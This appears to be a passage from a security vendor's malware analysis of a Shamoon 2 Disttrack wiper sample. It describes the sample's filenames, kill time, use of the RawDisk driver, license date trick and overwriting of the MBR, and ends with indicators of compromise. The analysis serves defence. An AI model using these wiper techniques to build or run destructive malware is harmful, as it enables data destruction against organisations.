The communications module used in this attack is rather hobbled, as it was configured without an operational command and control (C2) server to communicate with. The lack of an operational C2 is much like the November 17, 2016 attack that had the IP address “1.1.1.1” within its configuration to use as a C2 server. Unlike the non-operational C2 of “1.1.1.1” used in the first Shamoon 2 attack, this communications module completely lacked any IP address or domain name for a C2 server within its configuration.

Also, in this sample, Disttrack did not save its communications module to the system using the filename “netinit.exe” like in the original attack, rather it chose a random name from the following list:

• caiaw00e.exe
• sbuvideo.exe
• caiaw00i.exe
• olvume.exe
• usinwb2.exe
• briaw005.exe
• fpwwlwf.exe
• epiaw003.exe
• briaw002.exe
• olvsnap.exe
• dmwaudio.exe
• briaw006.exe
• miWApRpl.exe
• caiaw00b.exe
• lxiaw003.exe

Lastly, the communications module also uses different file names than the original Shamoon 2 attack. Instead of setting a custom “kill time” in a file named “usbvideo324.pnf” within the “%WINDOWS%\inf” folder, it uses a file name of “dcT21x400i.pnf”. It also would send the C2 server the contents of a file named “vsfnp7_6.pnf” from the folder “%WINDOWS%\inf” instead of “netimm173.pnf”.

Destruction

Much like the initial attacks, the lack of an operational C2 server suggests that the threat actor’s sole intention for carrying out this Shamoon 2 attack was to destroy data and systems. Without an operational C2, the actor would be unable to issue a command to set a custom “kill time” when the Disttrack payload would begin wiping systems, which would force the payload to rely on its hardcoded “kill time”. The hardcoded date suggests that this attack was set to begin wiping systems on November 29, 2016 at 1:30 AM local Saudi Arabia time.

Unlike the previous Shamoon attacks that occurred on a holiday and over a weekend, this kill time occurred during the work week, as November 29, 2016 was a Tuesday. However, it appears this attack attempted to maximize its impact by occurring very early in the morning before the majority of the organization’s staff were on site. This aligns with the Shamoon actors conducting their attacks off-hours to increase the efficacy of the attack by increasing the timeframe of detection and response.

When Disttrack observes the system clock exceeding the “kill time”, it will save its wiper component to the system using one of the following randomly chosen filenames:

• pdwmtphw.exe
• caiaw00a.exe
• sdwprint.exe
• caiaw00d.exe
• kyiaw002.exe
• sdwscdrv.exe
• briaw00a.exe
• saiaw002.exe
• _mvscdsc.exe
• hdvmp32.exe
• _s3wcap32.exe
• hpiaw001.exe
• lxiaw004.exe
• cniaw001.exe
• lxiaw006.exe
• caiaw00f.exe
• newtvsc.exe

When executed, the wiper component will extract a kernel driver from its resource section and decrypt it with a 172-byte XOR key. The wiper saves the kernel driver (SHA256: 5a826b4fa10891cf63aae832fc645ce680a483b915c608ca26cedbb173b1b80a) to the “Windows\System32\Drivers” folder in a file named “vdsk911.sys”. The wiper then uses this file to create a kernel driver service named “vdsk911”, as seen in Figure 2.

shamoon_2

Figure 2 RawDisk kernel driver service created by Disttrack wiper

The kernel driver is the 64-bit version of the commercial RawDisk driver by EldoS Corporation, which is the exact same file as the “drdisk.sys” driver extracted from the Disttrack 64-bit payload in the ‘X509’ resource in the first reported Shamoon 2 attack. The Disttrack payload will use this kernel driver to access the master boot record (MBR), partition tables and files and folders on the system to overwrite them with the same image of the deceased Syrian boy as in the previous Shamoon 2 attack.

During our analysis, we again observed the wiper setting the system time to a random date between August 1 and August 20, 2012, as seen in Figure 3. As mentioned in our previous blog, the reason the wiper sets the system time to this random date in August 2012 is due to a temporary license key needed to use the RawDisk kernel driver. The temporary license key used in this attack is the exact same as the first attack.

shamoon_3

Figure 3 Wiper changing the system date to a random date in August 2012

Since our original blog, we’ve successfully decrypted the license key, which can be seen in Figure 4. The expiration date in the temporary license key is an 8-byte field (highlighted by the orange box) that corresponds to Microsoft’s FILETIME structure, which represents the number of 100-nanosecond intervals since January 1, 1601 (UTC). In the temporary license key used in all of the Shamoon related attacks, the expiration date was set to August 30, 2012 at 8:34:29 UTC, which is the reason the wiper sets the system time to a random day between August 1 and August 20, 2012. Also, we found that the temporary license key was registered to “binnatova@bsunanotechnology.com”. We are unsure how this email address is involved with Shamoon, as it was likely compromised back in 2012 and used by the actor to obtain the temporary license for RawDisk.

shamoon_4

Figure 4 RawDisk temporary license decrypted showing August 2012 expiration date

After the MBR, partition tables and files are overwritten, the wiper issues the command of “shutdown -r -f -t 2” to reboot the system, which is the same command as used in the first Shamoon 2 attack. Figure 5 shows the dialog box that pops up as a result of this command, which will be followed by a system reboot.

shamoon_5

Figure 5 The shutdown dialog box opened just before reboot of a Windows 7 system wiped by Disttrack

The purpose of rebooting the system remains the same, as the portions of the hard disk and filesystem needed to successfully boot the system were overwritten with a JPEG image, the system is no longer able to start up. Figure 6 shows the result of this reboot in an analysis virtual machine, as the operating system could no longer be found.

shamoon_6

Figure 6 System unable to find its operating system

The operating system fails to load as the MBR is overwritten with a JPEG image. As seen in Figure 7, sector 0 of the physical hard disk, which normally stores the master boot record now contains the beginning of a JPEG file marked by the “JFIF” magic bytes in the two orange boxes.

shamoon_7

Figure 7 Hexdump of sector 0 of the physical showing the MBR overwritten with a JPEG file

Conclusion

We analyzed a second Disttrack payload associated with Shamoon 2, which suggests that the threat actors targeted a second Saudi Arabian organization in this attack campaign. The actors used the Disttrack payload to spread to other systems on the local network using legitimate credentials. The legitimate credentials were specific to the targeted organization and were complex enough to suggest that the threat actors carried out a previous attack to obtain the credentials. Also, the actors hardcoded credentials found in Huawei’s official documentation for its VDI solutions, suggesting that the threat actors may have had access to appliances hosting the infrastructure. The Disttrack wiper was set to begin overwriting systems on November 29, 2016 at 1:30 AM, which aligns with the Shamoon actor’s tactic to maximize its impact by attacking at a time when the targeted organization would have less staff and resources available onsite.

Palo Alto Networks customers are protected from the Disttrack payload used in this attack:

  • WildFire properly classifies Disttrack samples as malicious
  • Threat protection AV signature of Virus/Win32.WGeneric.ktoto detects the new payload.
  • AutoFocus customers can monitor Disttrack activity using the Disttrack tag

Indicators of Compromise

Hashes

010d4517c81bcdc438cb36fdf612274498d08db19bba174462ecbede7d9ce6bb (64-bit Disttrack)
efd2f4c3fe4e9f2c9ac680a9c670cca378cef6b8776f2362ed278317bfb1fca8 (Communication)
113525c6bea55fa2a2c6cf406184092d743f9d099535923a12cdd9b9192009c4 (Wiper)
5a826b4fa10891cf63aae832fc645ce680a483b915c608ca26cedbb173b1b80a (vdsk911.sys)

Filenames

ntertmgr32.exe
ntertmgr64.exe
vdsk911.sys
dcT21x400i.pnf
vsfnp7_6.pnf
caiaw00e.exe
sbuvideo.exe
caiaw00i.exe
olvume.exe
usinwb2.exe
briaw005.exe
fpwwlwf.exe
epiaw003.exe
briaw002.exe
olvsnap.exe
dmwaudio.exe
briaw006.exe
miWApRpl.exe
caiaw00b.exe
lxiaw003.exe
pdwmtphw.exe
caiaw00a.exe
sdwprint.exe
caiaw00d.exe
kyiaw002.exe
sdwscdrv.exe
briaw00a.exe
saiaw002.exe
_mvscdsc.exe
hdvmp32.exe
_s3wcap32.exe
hpiaw001.exe
lxiaw004.exe
cniaw001.exe
lxiaw006.exe
caiaw00f.exe
newtvsc.exe

Service Names

NtertSrv
vdsk911